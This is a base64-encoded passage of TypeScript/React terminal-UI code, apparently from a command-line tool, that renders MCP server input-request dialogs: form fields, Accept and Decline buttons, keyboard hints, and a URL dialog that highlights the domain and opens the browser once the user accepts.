CAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIC8vIENvbGxhcHNlZDog4pa4IGFycm93IHRoZW4gY29tbWEtam9pbmVkIHNlbGVjdGVkIGl0ZW1zXG4gICAgICAgICAgICAgICAgY29uc3QgYXJyb3cgPSBpc0FjdGl2ZSA/IChcbiAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntmaWd1cmVzLnRyaWFuZ2xlUmlnaHRTbWFsbH0gPC9UZXh0PlxuICAgICAgICAgICAgICAgICkgOiBudWxsXG4gICAgICAgICAgICAgICAgaWYgKHNlbGVjdGVkLmxlbmd0aCA+IDApIHtcbiAgICAgICAgICAgICAgICAgIGNvbnN0IGRpc3BsYXlMYWJlbHMgPSBzZWxlY3RlZC5tYXAodiA9PlxuICAgICAgICAgICAgICAgICAgICBnZXRNdWx0aVNlbGVjdExhYmVsKHNjaGVtYSwgdiksXG4gICAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICAgICB2YWx1ZUNvbnRlbnQgPSAoXG4gICAgICAgICAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICAgICAgICAgIHthcnJvd31cbiAgICAgICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17YWN0aXZlQ29sb3J9IGJvbGQ9e2lzQWN0aXZlfT5cbiAgICAgICAgICAgICAgICAgICAgICAgIHtkaXNwbGF5TGFiZWxzLmpvaW4oJywgJyl9XG4gICAgICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgIHZhbHVlQ29udGVudCA9IChcbiAgICAgICAgICAgICAgICAgICAgPFRleHQ+XG4gICAgICAgICAgICAgICAgICAgICAge2Fycm93fVxuICAgICAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIGl0YWxpYz5cbiAgICAgICAgICAgICAgICAgICAgICAgIG5vdCBzZXRcbiAgICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH0gZWxzZSBpZiAoaXNFbnVtU2NoZW1hKHNjaGVtYSkpIHtcbiAgICAgICAgICAgICAgY29uc3QgZW51bVZhbHVlcyA9IGdldEVudW1WYWx1ZXMoc2NoZW1hKVxuICAgICAgICAgICAgICBjb25zdCBpc0V4cGFuZGVkID0gZXhwYW5kZWRBY2NvcmRpb24gPT09IG5hbWUgJiYgaXNBY3RpdmVcblxuICAgICAgICAgICAgICBpZiAoaXNFeHBhbmRlZCkge1xuICAgICAgICAgICAgICAgIHZhbHVlQ29udGVudCA9IDxUZXh0IGRpbUNvbG9yPntmaWd1cmVzLnRyaWFuZ2xlRG93blNtYWxsfTwvVGV4dD5cbiAgICAgICAgICAgICAgICBhY2NvcmRpb25Db250ZW50ID0gKFxuICAgICAgICAgICAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luTGVmdD17Nn0+XG4gICAgICAgICAgICAgICAgICAgIHtlbnVtVmFsdWVzLm1hcCgob3B0VmFsLCBvcHRJZHgpID0+IHtcbiAgICAgICAgICAgICAgICAgICAgICBjb25zdCBvcHRMYWJlbCA9IGdldEVudW1MYWJlbChzY2hlbWEsIG9wdFZhbClcbiAgICAgICAgICAgICAgICAgICAgICBjb25zdCBpc1NlbGVjdGVkID0gdmFsdWUgPT09IG9wdFZhbFxuICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IGlzRm9jdXNlZCA9IG9wdElkeCA9PT0gYWNjb3JkaW9uT3B0aW9uSW5kZXhcbiAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKFxuICAgICAgICAgICAgICAgICAgICAgICAgPEJveCBrZXk9e29wdFZhbH0gZ2FwPXsxfT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgPFRleHQgY29sb3I9XCJzdWdnZXN0aW9uXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAge2lzRm9jdXNlZCA/IGZpZ3VyZXMucG9pbnRlciA6ICcgJ31cbiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17aXNTZWxlY3RlZCA/ICdzdWNjZXNzJyA6IHVuZGVmaW5lZH0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAge2lzU2VsZWN0ZWQgPyBmaWd1cmVzLnJhZGlvT24gOiBmaWd1cmVzLnJhZGlvT2ZmfVxuICAgICAgICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgIDxUZXh0XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29sb3I9e2lzRm9jdXNlZCA/ICdzdWdnZXN0aW9uJyA6IHVuZGVmaW5lZH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBib2xkPXtpc0ZvY3VzZWR9XG4gICAgICAgICAgICAgICAgICAgICAgICAgID5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7b3B0TGFiZWx9XG4gICAgICAgICAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDwvQm94PlxuICAgICAgICAgICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgICAgICAgfSl9XG4gICAgICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgLy8gQ29sbGFwc2VkOiDilrggYXJyb3cgdGhlbiBjdXJyZW50IHZhbHVlXG4gICAgICAgICAgICAgICAgY29uc3QgYXJyb3cgPSBpc0FjdGl2ZSA/IChcbiAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntmaWd1cmVzLnRyaWFuZ2xlUmlnaHRTbWFsbH0gPC9UZXh0PlxuICAgICAgICAgICAgICAgICkgOiBudWxsXG4gICAgICAgICAgICAgICAgaWYgKGhhc1ZhbHVlKSB7XG4gICAgICAgICAgICAgICAgICB2YWx1ZUNvbnRlbnQgPSAoXG4gICAgICAgICAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICAgICAgICAgIHthcnJvd31cbiAgICAgICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17YWN0aXZlQ29sb3J9IGJvbGQ9e2lzQWN0aXZlfT5cbiAgICAgICAgICAgICAgICAgICAgICAgIHtnZXRFbnVtTGFiZWwoc2NoZW1hLCB2YWx1ZSBhcyBzdHJpbmcpfVxuICAgICAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICB2YWx1ZUNvbnRlbnQgPSAoXG4gICAgICAgICAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICAgICAgICAgIHthcnJvd31cbiAgICAgICAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvciBpdGFsaWM+XG4gICAgICAgICAgICAgICAgICAgICAgICBub3Qgc2V0XG4gICAgICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2UgaWYgKHNjaGVtYS50eXBlID09PSAnYm9vbGVhbicpIHtcbiAgICAgICAgICAgICAgaWYgKGlzQWN0aXZlKSB7XG4gICAgICAgICAgICAgICAgdmFsdWVDb250ZW50ID0gaGFzVmFsdWUgPyAoXG4gICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17YWN0aXZlQ29sb3J9IGJvbGQ+XG4gICAgICAgICAgICAgICAgICAgIHt2YWx1ZSA/IGZpZ3VyZXMuY2hlY2tib3hPbiA6IGZpZ3VyZXMuY2hlY2tib3hPZmZ9XG4gICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgKSA6IChcbiAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntmaWd1cmVzLmNoZWNrYm94T2ZmfTwvVGV4dD5cbiAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgdmFsdWVDb250ZW50ID0gaGFzVmFsdWUgPyAoXG4gICAgICAgICAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgICAgICAgICAge3ZhbHVlID8gZmlndXJlcy5jaGVja2JveE9uIDogZmlndXJlcy5jaGVja2JveE9mZn1cbiAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3IgaXRhbGljPlxuICAgICAgICAgICAgICAgICAgICBub3Qgc2V0XG4gICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2UgaWYgKGlzVGV4dEZpZWxkKHNjaGVtYSkpIHtcbiAgICAgICAgICAgICAgaWYgKGlzQWN0aXZlKSB7XG4gICAgICAgICAgICAgICAgdmFsdWVDb250ZW50ID0gKFxuICAgICAgICAgICAgICAgICAgPFRleHRJbnB1dFxuICAgICAgICAgICAgICAgICAgICB2YWx1ZT17dGV4dElucHV0VmFsdWV9XG4gICAgICAgICAgICAgICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVUZXh0SW5wdXRDaGFuZ2V9XG4gICAgICAgICAgICAgICAgICAgIG9uU3VibWl0PXtoYW5kbGVUZXh0SW5wdXRTdWJtaXR9XG4gICAgICAgICAgICAgICAgICAgIHBsYWNlaG9sZGVyPXtgVHlwZSBzb21ldGhpbmdcXHV7MjAyNn1gfVxuICAgICAgICAgICAgICAgICAgICBjb2x1bW5zPXtNYXRoLm1pbihjb2x1bW5zIC0gMjAsIDYwKX1cbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yT2Zmc2V0PXt0ZXh0SW5wdXRDdXJzb3JPZmZzZXR9XG4gICAgICAgICAgICAgICAgICAgIG9uQ2hhbmdlQ3Vyc29yT2Zmc2V0PXtzZXRUZXh0SW5wdXRDdXJzb3JPZmZzZXR9XG4gICAgICAgICAgICAgICAgICAgIGZvY3VzXG4gICAgICAgICAgICAgICAgICAgIHNob3dDdXJzb3JcbiAgICAgICAgICAgICAgICAgIC8+XG4gICAgICAgICAgICAgICAgKVxuICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIGNvbnN0IGRpc3BsYXlWYWx1ZSA9XG4gICAgICAgICAgICAgICAgICBoYXNWYWx1ZSAmJiBpc0RhdGVUaW1lU2NoZW1hKHNjaGVtYSlcbiAgICAgICAgICAgICAgICAgICAgPyBmb3JtYXREYXRlRGlzcGxheShTdHJpbmcodmFsdWUpLCBzY2hlbWEpXG4gICAgICAgICAgICAgICAgICAgIDogU3RyaW5nKHZhbHVlKVxuICAgICAgICAgICAgICAgIHZhbHVlQ29udGVudCA9IGhhc1ZhbHVlID8gKFxuICAgICAgICAgICAgICAgICAgPFRleHQ+e2Rpc3BsYXlWYWx1ZX08L1RleHQ+XG4gICAgICAgICAgICAgICAgKSA6IChcbiAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIGl0YWxpYz5cbiAgICAgICAgICAgICAgICAgICAgbm90IHNldFxuICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgdmFsdWVDb250ZW50ID0gaGFzVmFsdWUgPyAoXG4gICAgICAgICAgICAgICAgPFRleHQ+e1N0cmluZyh2YWx1ZSl9PC9UZXh0PlxuICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIGl0YWxpYz5cbiAgICAgICAgICAgICAgICAgIG5vdCBzZXRcbiAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgIClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgICAgPEJveCBrZXk9e25hbWV9IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICAgICAgICA8Qm94IGdhcD17MX0+XG4gICAgICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17c2VsZWN0aW9uQ29sb3J9PlxuICAgICAgICAgICAgICAgICAgICB7aXNBY3RpdmUgPyBmaWd1cmVzLnBvaW50ZXIgOiAnICd9XG4gICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICB7Y2hlY2tib3h9XG4gICAgICAgICAgICAgICAgICA8Qm94PlxuICAgICAgICAgICAgICAgICAgICB7bGFiZWx9XG4gICAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPXthY3RpdmVDb2xvcn0+OiA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICAgIHt2YWx1ZUNvbnRlbnR9XG4gICAgICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICAgICB7YWNjb3JkaW9uQ29udGVudH1cbiAgICAgICAgICAgICAgICB7c2NoZW1hLmRlc2NyaXB0aW9uICYmIChcbiAgICAgICAgICAgICAgICAgIDxCb3ggbWFyZ2luTGVmdD17Nn0+XG4gICAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPntzY2hlbWEuZGVzY3JpcHRpb259PC9UZXh0PlxuICAgICAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICAgICAgKX1cbiAgICAgICAgICAgICAgICA8Qm94IG1hcmdpbkxlZnQ9ezZ9IGhlaWdodD17MX0+XG4gICAgICAgICAgICAgICAgICB7ZXJyb3IgPyAoXG4gICAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIiBpdGFsaWM+XG4gICAgICAgICAgICAgICAgICAgICAge2Vycm9yfVxuICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICAgICAgICA8VGV4dD4gPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgKX1cbiAgICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICApXG4gICAgICAgICAgfSl9XG4gICAgICAgIHtoYXNGaWVsZHNCZWxvdyAmJiAoXG4gICAgICAgICAgPEJveCBtYXJnaW5MZWZ0PXsyfT5cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICB7ZmlndXJlcy5hcnJvd0Rvd259IHtzY2hlbWFGaWVsZHMubGVuZ3RoIC0gc2Nyb2xsV2luZG93LmVuZH0gbW9yZVxuICAgICAgICAgICAgICBiZWxvd1xuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICApfVxuICAgICAgPC9Cb3g+XG4gICAgKVxuICB9XG5cbiAgcmV0dXJuIChcbiAgICA8RGlhbG9nXG4gICAgICB0aXRsZT17YE1DUCBzZXJ2ZXIgXFx1MjAxYyR7c2VydmVyTmFtZX1cXHUyMDFkIHJlcXVlc3RzIHlvdXIgaW5wdXRgfVxuICAgICAgc3VidGl0bGU9e2BcXG4ke21lc3NhZ2V9YH1cbiAgICAgIGNvbG9yPVwicGVybWlzc2lvblwiXG4gICAgICBvbkNhbmNlbD17KCkgPT4gb25SZXNwb25zZSgnY2FuY2VsJyl9XG4gICAgICBpc0NhbmNlbEFjdGl2ZT17KCFjdXJyZW50RmllbGQgfHwgISFmb2N1c2VkQnV0dG9uKSAmJiAhZXhwYW5kZWRBY2NvcmRpb259XG4gICAgICBpbnB1dEd1aWRlPXtleGl0U3RhdGUgPT5cbiAgICAgICAgZXhpdFN0YXRlLnBlbmRpbmcgPyAoXG4gICAgICAgICAgPFRleHQ+UHJlc3Mge2V4aXRTdGF0ZS5rZXlOYW1lfSBhZ2FpbiB0byBleGl0PC9UZXh0PlxuICAgICAgICApIDogKFxuICAgICAgICAgIDxCeWxpbmU+XG4gICAgICAgICAgICA8Q29uZmlndXJhYmxlU2hvcnRjdXRIaW50XG4gICAgICAgICAgICAgIGFjdGlvbj1cImNvbmZpcm06bm9cIlxuICAgICAgICAgICAgICBjb250ZXh0PVwiQ29uZmlybWF0aW9uXCJcbiAgICAgICAgICAgICAgZmFsbGJhY2s9XCJFc2NcIlxuICAgICAgICAgICAgICBkZXNjcmlwdGlvbj1cImNhbmNlbFwiXG4gICAgICAgICAgICAvPlxuICAgICAgICAgICAgPEtleWJvYXJkU2hvcnRjdXRIaW50IHNob3J0Y3V0PVwi4oaR4oaTXCIgYWN0aW9uPVwibmF2aWdhdGVcIiAvPlxuICAgICAgICAgICAge2N1cnJlbnRGaWVsZCAmJiAoXG4gICAgICAgICAgICAgIDxLZXlib2FyZFNob3J0Y3V0SGludCBzaG9ydGN1dD1cIkJhY2tzcGFjZVwiIGFjdGlvbj1cInVuc2V0XCIgLz5cbiAgICAgICAgICAgICl9XG4gICAgICAgICAgICB7Y3VycmVudEZpZWxkICYmIGN1cnJlbnRGaWVsZC5zY2hlbWEudHlwZSA9PT0gJ2Jvb2xlYW4nICYmIChcbiAgICAgICAgICAgICAgPEtleWJvYXJkU2hvcnRjdXRIaW50IHNob3J0Y3V0PVwiU3BhY2VcIiBhY3Rpb249XCJ0b2dnbGVcIiAvPlxuICAgICAgICAgICAgKX1cbiAgICAgICAgICAgIHtjdXJyZW50RmllbGQgJiZcbiAgICAgICAgICAgICAgaXNFbnVtU2NoZW1hKGN1cnJlbnRGaWVsZC5zY2hlbWEpICYmXG4gICAgICAgICAgICAgIChleHBhbmRlZEFjY29yZGlvbiA/IChcbiAgICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCJTcGFjZVwiIGFjdGlvbj1cInNlbGVjdFwiIC8+XG4gICAgICAgICAgICAgICkgOiAoXG4gICAgICAgICAgICAgICAgPEtleWJvYXJkU2hvcnRjdXRIaW50IHNob3J0Y3V0PVwi4oaSXCIgYWN0aW9uPVwiZXhwYW5kXCIgLz5cbiAgICAgICAgICAgICAgKSl9XG4gICAgICAgICAgICB7Y3VycmVudEZpZWxkICYmXG4gICAgICAgICAgICAgIGlzTXVsdGlTZWxlY3RFbnVtU2NoZW1hKGN1cnJlbnRGaWVsZC5zY2hlbWEpICYmXG4gICAgICAgICAgICAgIChleHBhbmRlZEFjY29yZGlvbiA/IChcbiAgICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCJTcGFjZVwiIGFjdGlvbj1cInRvZ2dsZVwiIC8+XG4gICAgICAgICAgICAgICkgOiAoXG4gICAgICAgICAgICAgICAgPEtleWJvYXJkU2hvcnRjdXRIaW50IHNob3J0Y3V0PVwi4oaSXCIgYWN0aW9uPVwiZXhwYW5kXCIgLz5cbiAgICAgICAgICAgICAgKSl9XG4gICAgICAgICAgPC9CeWxpbmU+XG4gICAgICAgIClcbiAgICAgIH1cbiAgICA+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAge3JlbmRlckZvcm1GaWVsZHMoKX1cbiAgICAgICAgPEJveD5cbiAgICAgICAgICA8VGV4dCBjb2xvcj1cInN1Y2Nlc3NcIj5cbiAgICAgICAgICAgIHtmb2N1c2VkQnV0dG9uID09PSAnYWNjZXB0JyA/IGZpZ3VyZXMucG9pbnRlciA6ICcgJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPFRleHRcbiAgICAgICAgICAgIGJvbGQ9e2ZvY3VzZWRCdXR0b24gPT09ICdhY2NlcHQnfVxuICAgICAgICAgICAgY29sb3I9e2ZvY3VzZWRCdXR0b24gPT09ICdhY2NlcHQnID8gJ3N1Y2Nlc3MnIDogdW5kZWZpbmVkfVxuICAgICAgICAgICAgZGltQ29sb3I9e2ZvY3VzZWRCdXR0b24gIT09ICdhY2NlcHQnfVxuICAgICAgICAgID5cbiAgICAgICAgICAgIHsnIEFjY2VwdCAgJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPlxuICAgICAgICAgICAge2ZvY3VzZWRCdXR0b24gPT09ICdkZWNsaW5lJyA/IGZpZ3VyZXMucG9pbnRlciA6ICcgJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPFRleHRcbiAgICAgICAgICAgIGJvbGQ9e2ZvY3VzZWRCdXR0b24gPT09ICdkZWNsaW5lJ31cbiAgICAgICAgICAgIGNvbG9yPXtmb2N1c2VkQnV0dG9uID09PSAnZGVjbGluZScgPyAnZXJyb3InIDogdW5kZWZpbmVkfVxuICAgICAgICAgICAgZGltQ29sb3I9e2ZvY3VzZWRCdXR0b24gIT09ICdkZWNsaW5lJ31cbiAgICAgICAgICA+XG4gICAgICAgICAgICB7JyBEZWNsaW5lJ31cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgPC9Cb3g+XG4gICAgPC9EaWFsb2c+XG4gIClcbn1cblxuZnVuY3Rpb24gRWxpY2l0YXRpb25VUkxEaWFsb2coe1xuICBldmVudCxcbiAgb25SZXNwb25zZSxcbiAgb25XYWl0aW5nRGlzbWlzcyxcbn06IHtcbiAgZXZlbnQ6IEVsaWNpdGF0aW9uUmVxdWVzdEV2ZW50XG4gIG9uUmVzcG9uc2U6IFByb3BzWydvblJlc3BvbnNlJ11cbiAgb25XYWl0aW5nRGlzbWlzczogUHJvcHNbJ29uV2FpdGluZ0Rpc21pc3MnXVxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IHsgc2VydmVyTmFtZSwgc2lnbmFsLCB3YWl0aW5nU3RhdGUgfSA9IGV2ZW50XG4gIGNvbnN0IHVybFBhcmFtcyA9IGV2ZW50LnBhcmFtcyBhcyBFbGljaXRSZXF1ZXN0VVJMUGFyYW1zXG4gIGNvbnN0IHsgbWVzc2FnZSwgdXJsIH0gPSB1cmxQYXJhbXNcbiAgY29uc3QgW3BoYXNlLCBzZXRQaGFzZV0gPSB1c2VTdGF0ZTwncHJvbXB0JyB8ICd3YWl0aW5nJz4oJ3Byb21wdCcpXG4gIGNvbnN0IHBoYXNlUmVmID0gdXNlUmVmPCdwcm9tcHQnIHwgJ3dhaXRpbmcnPigncHJvbXB0JylcbiAgY29uc3QgW2ZvY3VzZWRCdXR0b24sIHNldEZvY3VzZWRCdXR0b25dID0gdXNlU3RhdGU8XG4gICAgJ2FjY2VwdCcgfCAnZGVjbGluZScgfCAnb3BlbicgfCAnYWN0aW9uJyB8ICdjYW5jZWwnXG4gID4oJ2FjY2VwdCcpXG4gIGNvbnN0IHNob3dDYW5jZWwgPSB3YWl0aW5nU3RhdGU/LnNob3dDYW5jZWwgPz8gZmFsc2VcblxuICB1c2VOb3RpZnlBZnRlclRpbWVvdXQoXG4gICAgJ0NsYXVkZSBDb2RlIG5lZWRzIHlvdXIgaW5wdXQnLFxuICAgICdlbGljaXRhdGlvbl91cmxfZGlhbG9nJyxcbiAgKVxuICB1c2VSZWdpc3Rlck92ZXJsYXkoJ2VsaWNpdGF0aW9uLXVybCcpXG5cbiAgLy8gS2VlcCByZWZzIGluIHN5bmMgZm9yIHVzZSBpbiBhYm9ydCBoYW5kbGVyIChhdm9pZHMgcmUtcmVnaXN0ZXJpbmcgbGlzdGVuZXIpXG4gIHBoYXNlUmVmLmN1cnJlbnQgPSBwaGFzZVxuICBjb25zdCBvbldhaXRpbmdEaXNtaXNzUmVmID0gdXNlUmVmKG9uV2FpdGluZ0Rpc21pc3MpXG4gIG9uV2FpdGluZ0Rpc21pc3NSZWYuY3VycmVudCA9IG9uV2FpdGluZ0Rpc21pc3NcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGNvbnN0IGhhbmRsZUFib3J0ID0gKCkgPT4ge1xuICAgICAgaWYgKHBoYXNlUmVmLmN1cnJlbnQgPT09ICd3YWl0aW5nJykge1xuICAgICAgICBvbldhaXRpbmdEaXNtaXNzUmVmLmN1cnJlbnQ/LignY2FuY2VsJylcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIG9uUmVzcG9uc2UoJ2NhbmNlbCcpXG4gICAgICB9XG4gICAgfVxuICAgIGlmIChzaWduYWwuYWJvcnRlZCkge1xuICAgICAgaGFuZGxlQWJvcnQoKVxuICAgICAgcmV0dXJuXG4gICAgfVxuICAgIHNpZ25hbC5hZGRFdmVudExpc3RlbmVyKCdhYm9ydCcsIGhhbmRsZUFib3J0KVxuICAgIHJldHVybiAoKSA9PiBzaWduYWwucmVtb3ZlRXZlbnRMaXN0ZW5lcignYWJvcnQnLCBoYW5kbGVBYm9ydClcbiAgfSwgW3NpZ25hbCwgb25SZXNwb25zZV0pXG5cbiAgLy8gUGFyc2UgVVJMIHRvIGhpZ2hsaWdodCB0aGUgZG9tYWluXG4gIGxldCBkb21haW4gPSAnJ1xuICBsZXQgdXJsQmVmb3JlRG9tYWluID0gJydcbiAgbGV0IHVybEFmdGVyRG9tYWluID0gJydcbiAgdHJ5IHtcbiAgICBjb25zdCBwYXJzZWQgPSBuZXcgVVJMKHVybClcbiAgICBkb21haW4gPSBwYXJzZWQuaG9zdG5hbWVcbiAgICBjb25zdCBkb21haW5TdGFydCA9IHVybC5pbmRleE9mKGRvbWFpbilcbiAgICB1cmxCZWZvcmVEb21haW4gPSB1cmwuc2xpY2UoMCwgZG9tYWluU3RhcnQpXG4gICAgdXJsQWZ0ZXJEb21haW4gPSB1cmwuc2xpY2UoZG9tYWluU3RhcnQgKyBkb21haW4ubGVuZ3RoKVxuICB9IGNhdGNoIHtcbiAgICBkb21haW4gPSB1cmxcbiAgfVxuXG4gIC8vIEF1dG8tZGlzbWlzcyB3aGVuIHRoZSBzZXJ2ZXIgc2VuZHMgYSBjb21wbGV0aW9uIG5vdGlmaWNhdGlvbiAoc2V0cyBjb21wbGV0ZWQgZmxhZylcbiAgdXNlRWZmZWN0KCgpID0+IHtcbiAgICBpZiAocGhhc2UgPT09ICd3YWl0aW5nJyAmJiBldmVudC5jb21wbGV0ZWQpIHtcbiAgICAgIG9uV2FpdGluZ0Rpc21pc3M/LihzaG93Q2FuY2VsID8gJ3JldHJ5JyA6ICdkaXNtaXNzJylcbiAgICB9XG4gIH0sIFtwaGFzZSwgZXZlbnQuY29tcGxldGVkLCBvbldhaXRpbmdEaXNtaXNzLCBzaG93Q2FuY2VsXSlcblxuICBjb25zdCBoYW5kbGVBY2NlcHQgPSB1c2VDYWxsYmFjaygoKSA9PiB7XG4gICAgdm9pZCBvcGVuQnJvd3Nlcih1cmwpXG4gICAgb25SZXNwb25zZSgnYWNjZXB0JylcbiAgICBzZXRQaGFzZSgnd2FpdGluZycpXG4gICAgcGhhc2VSZWYuY3VycmVudCA9ICd3YWl0aW5nJ1xuICAgIHNldEZvY3VzZWRCdXR0b24oJ29wZW4nKVxuICB9LCBbb25SZXNwb25zZSwgdXJsXSlcblxuICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgY3VzdG9tLXJ1bGVzL3ByZWZlci11c2Uta2V5YmluZGluZ3MgLS0gcmF3IGlucHV0IGZvciBidXR0b24gbmF2aWdhdGlvblxuICB1c2VJbnB1dCgoX2lucHV0LCBrZXkpID0+IHtcbiAgICBpZiAocGhhc2UgPT09ICdwcm9tcHQnKSB7XG4gICAgICBpZiAoa2V5LmxlZnRBcnJvdyB8fCBrZXkucmlnaHRBcnJvdykge1xuICAgICAgICBzZXRGb2N1c2VkQnV0dG9uKHByZXYgPT4gKHByZXYgPT09ICdhY2NlcHQnID8gJ2RlY2xpbmUnIDogJ2FjY2VwdCcpKVxuICAgICAgICByZXR1cm5cbiAgICAgIH1cbiAgICAgIGlmIChrZXkucmV0dXJuKSB7XG4gICAgICAgIGlmIChmb2N1c2VkQnV0dG9uID09PSAnYWNjZXB0Jykge1xuICAgICAgICAgIGhhbmRsZUFjY2VwdCgpXG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgb25SZXNwb25zZSgnZGVjbGluZScpXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgLy8gd2FpdGluZyBwaGFzZSDigJQgY3ljbGUgdGhyb3VnaCBidXR0b25zXG4gICAgICB0eXBlIEJ1dHRvbk5hbWUgPSAnYWNjZXB0JyB8ICdkZWNsaW5lJyB8ICdvcGVuJyB8ICdhY3Rpb24nIHwgJ2NhbmNlbCdcbiAgICAgIGNvbnN0IHdhaXRpbmdCdXR0b25zOiByZWFkb25seSBCdXR0b25OYW1lW10gPSBzaG93Q2FuY2VsXG4gICAgICAgID8gWydvcGVuJywgJ2FjdGlvbicsICdjYW5jZWwnXVxuICAgICAgICA6IFsnb3BlbicsICdhY3Rpb24nXVxuICAgICAgaWYgKGtleS5sZWZ0QXJyb3cgf